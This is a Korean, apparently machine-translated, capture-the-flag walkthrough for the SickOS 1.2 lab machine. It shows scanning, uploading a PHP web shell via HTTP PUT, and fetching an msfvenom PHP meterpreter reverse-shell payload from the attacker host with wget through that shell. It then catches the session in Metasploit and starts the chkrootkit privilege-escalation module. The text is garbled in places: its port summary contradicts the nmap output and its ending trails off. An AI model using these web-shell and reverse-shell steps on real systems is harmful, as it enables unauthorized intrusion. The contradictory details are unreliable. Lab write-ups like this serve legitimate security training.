SickOS 1.2 플래그를 얻는 방법

실험 환경은 다음과 같습니다.

기본 아이디어:

• Network Scanning (Netdiscover, Nmap)

• Directory brute-force (웹사이트 디렉터리 검색 dirb)

• 찾기 HTTP 옵션: PUT(HTTP 옵션 컬 찾기)

• PHP 백도어 생성(PHP 백도어 Msfvenom 생성)

• 백도어 업로드 및 실행(PHP 백도어 업로드)

• 역방향 연결(Metasploit)

• 권한 에스컬레이션(cron 작업)

• 적절한 TTY 쉘을 위해 Python 한 줄 가져오기

• 루트 액세스 권한을 얻고 플래그를 캡처하세요.

1) 네트워크 스캐닝(Netdiscover, Nmap)

root@host06:~# nmap -sV -T4 -A 192.168.32.169
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-21 19:19 CST
Nmap scan report for 192.168.32.169
Host is up (0.00085s latency).
Not shown: 999 closed ports
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
| http-robots.txt: 5 disallowed entries
|_/ange1 /angel1 /nothing /tmp /uploads
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Dina
MAC Address: 00:0C:29:29:82:CE (VMware)
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.85 ms 192.168.32.169

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.13 seconds

위에서 스캐닝 호스트에 다음 서비스와 포트만 열려 있음을 보여줍니다.

• SSH (22/tcp) - OpenSSH 5.9p1 Debian

• HTTP (80/tcp) - Lighttpd 1.4.28

2) dirb를 사용하여 웹사이트 디렉토리를 스캔합니다.

root@host06:~# dirb http://192.168.32.169
-----------------
DIRB v2.22    
By The Dark Raver
-----------------
START_TIME: Fri Jun 21 19:25:51 2019
URL_BASE: http://192.168.32.169/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612                                                          

---- Scanning URL: http://192.168.32.169/ ----
+ http://192.168.32.169/index.php (CODE:200|SIZE:163)                                               
==> DIRECTORY: http://192.168.32.169/test/                                                          
                                                                                                    
---- Entering directory: http://192.168.32.169/test/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Fri Jun 21 19:26:01 2019
DOWNLOADED: 4612 - FOUND: 1

niko를 사용하여 스캔할 때 "X-Content-Type-Options 헤더가 설정되지 않았습니다"라는 메시지가 나타납니다.

root@host06:~# nikto  -h http://192.168.32.169
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP:          192.168.32.169
+ Target Hostname:    192.168.32.169
+ Target Port:        80
+ Start Time:         2019-06-21 19:34:28 (GMT8)
---------------------------------------------------------------------------
+ Server: lighttpd/1.4.28
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ All CGI directories 'found', use '-C none' to test none
+ Retrieved x-powered-by header: PHP/5.3.10-1ubuntu3.21
+ 26545 requests: 0 error(s) and 4 item(s) reported on remote host
+ End Time:           2019-06-21 19:37:21 (GMT8) (173 seconds)

curl -v -X를 사용하세요. OPTIONS 다시 http:// 192.168.32.169/test 테스트하여 "put" 및 기타 방법으로 주입이 수행될 수 있는지 확인

root@host06:~# curl -v -X OPTIONS http://192.168.32.169/test
* Expire in 0 ms for 6 (transfer 0x5588c3fe4d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x5588c3fe4d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> OPTIONS /test HTTP/1.1
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< DAV: 1,2
< MS-Author-Via: DAV
< Allow: PROPFIND, DELETE, MKCOL, PUT, MOVE, COPY, PROPPATCH, LOCK, UNLOCK
< Location: http://192.168.32.169/test/
< Content-Length: 0
< Date: Fri, 21 Jun 2019 15:16:48 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.32.169 left intact

curl의 put 메소드를 사용하여 파일 업로드 컬 -v -X PUT -d '나는 소년입니다 ' http://192.168.32.169/ test/test.txt

root@host06:~#  curl -v -X PUT -d 'I am a boy'  http://192.168.32.169/test/test.txt
* Expire in 0 ms for 6 (transfer 0x560c4ca07d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x560c4ca07d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> PUT /test/test.txt HTTP/1.1
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 10
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 10 out of 10 bytes
< HTTP/1.1 201 Created
< Content-Length: 0
< Date: Fri, 21 Jun 2019 15:22:00 GMT
< Server: lighttpd/1.4.28
<
* Connection #0 to host 192.168.32.169 left intact

동일한 방법을 사용하여 쉘 명령을 호출하는 PHP 함수를 업로드합니다. 컬 -X PUT -d '

root@host06:~# curl -X PUT -d &#39;<?php system($_GET["cmd"]);&#39; http://192.168.32.169/test/cmd.php
root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=id;"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
root@host06:~# curl "http://192.168.32.169/test/cmd.php?cmd=ls%20-lha"
total 16K
drwxr-xr-x 2 www-data www-data 4.0K Jun 21 08:28 .
drwxr-xr-x 3 root     root     4.0K Apr 25  2016 ..
-rw-r--r-- 1 www-data www-data   27 Jun 21 08:28 cmd.php
-rw-r--r-- 1 www-data www-data   10 Jun 21 08:22 test.txt

리바운드 쉘 스크립트를 생성하고 이를 업로드합니다

msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport =443 -f raw > put01.php (참고: 여기서 포트 443을 사용하는 목적은 방화벽을 우회하는 것입니다)

root@host06:~# msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.32.10 lport=443 -f raw > put01.php
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 1113 bytes

파일 업로드 방법 1: 원래 업로드된 호출 시스템 cmd 명령 방법

을 사용하여 Python 임시 시작 클라이언트에게 다운로드 콘텐츠를 제공하는 웹 서버입니다. python -m SimpleHTTPServer 443(참고: 방화벽을 우회하기 위해 포트 443을 사용함)

및 실행: 컬 "http://192.168.32.169/test/cmd.php?cmd=wget%20http://192.168.32.10: 443 /put01.php"를 사용하여 put01.php 파일을 다운로드합니다

root@host06:~# python -m SimpleHTTPServer  443
Serving HTTP on 0.0.0.0 port 443 ...
192.168.32.169 - - [21/Jun/2019 20:09:25] "GET /put01.php HTTP/1.1" 200 -

파일 업로드 방법 2: 컬　--upload-file

root@host06:~# curl --upload-file put02.php -v --url http://192.168.32.169/test/put02.php  -0 --http1.0
* Expire in 0 ms for 6 (transfer 0x55e395728d00)
*   Trying 192.168.32.169...
* TCP_NODELAY set
* Expire in 200 ms for 4 (transfer 0x55e395728d00)
* Connected to 192.168.32.169 (192.168.32.169) port 80 (#0)
> PUT /test/put02.php HTTP/1.0
> Host: 192.168.32.169
> User-Agent: curl/7.64.0
> Accept: */*
> Content-Length: 111
>
* We are completely uploaded and fine
* HTTP 1.0, assume close after body
< HTTP/1.0 201 Created
< Content-Length: 0
< Connection: close
< Date: Sat, 22 Jun 2019 00:12:16 GMT
< Server: lighttpd/1.4.28
<
* Closing connection 0

을 사용하여 msfconsole을 시작하고 다음 관련 매개변수를 설정한 후 컬 "http:// 192.168.32.169/ test/put01.php" (즉, 방금 업로드한 쉘을 확인하고 실행)

root@host06:~# msfconsole
                                                  


                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/




       =[ metasploit v5.0.28-dev                          ]
+ -- --=[ 1897 exploits - 1068 auxiliary - 329 post       ]
+ -- --=[ 547 payloads - 44 encoders - 10 nops            ]
+ -- --=[ 2 evasion                                       ]


msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.32.10
lhost => 192.168.32.10
msf5 exploit(multi/handler) > set lport 443
lport => 443
msf5 exploit(multi/handler) > run

[*] Started reverse TCP handler on 192.168.32.10:443
[*] Sending stage (38247 bytes) to 192.168.32.169
[*] Meterpreter session 1 opened (192.168.32.10:443 -> 192.168.32.169:49617) at 2019-06-21 20:16:00 +0800

meterpreter > shell
Process 28313 created.
Channel 0 created.
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.


SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin


# m h dom mon dow user    command
17 *    * * *    root    cd / && run-parts --report /etc/cron.hourly
25 6    * * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6    * * 7    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6    1 * *    root    test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
chkrootkit -V
chkrootkit version 0.49
^Z
Background channel 0? [y/N]  y
meterpreter >
Background session 1? [y/N]  y
[-] Unknown command: y.

msfconsole 콘솔로 돌아가서 chkroot 취약점을 확인하고 이 취약점을 이용하여 *** 테스트를 수행합니다

msf5 exploit(multi/handler) > search  chkroot
Matching Modules
================
   #  Name                           Disclosure Date  Rank    Check  Description
   -  ----                           ---------------  ----    -----  -----------
   0  exploit/unix/local/chkrootkit  2014-06-04       manual  Yes    Chkrootkit Local Privilege Escalation


msf5 exploit(multi/handler) > use exploit/unix/local/chkrootkit
msf5 exploit(unix/local/chkrootkit) > show options

Module options (exploit/unix/local/chkrootkit):

   Name        Current Setting       Required  Description
   ----        ---------------       --------  -----------
   CHKROOTKIT  /usr/sbin/chkrootkit  yes       Path to chkrootkit
   SESSION                           yes       The session to run this module on.

Exploit target:

   Id  Name
   --  ----
   0   Automatic

msf5 exploit(unix/local/chkrootkit) > set session 1
session => 1
msf5 exploit(unix/local/chkrootkit) > set lport 8080
lport => 8080

Re -*** 테스트

rrree를 수행하세요.

위 내용은 SickOS 1.2 플래그를 얻는 방법의 상세 내용입니다. 자세한 내용은 PHP 중국어 웹사이트의 기타 관련 기사를 참조하세요!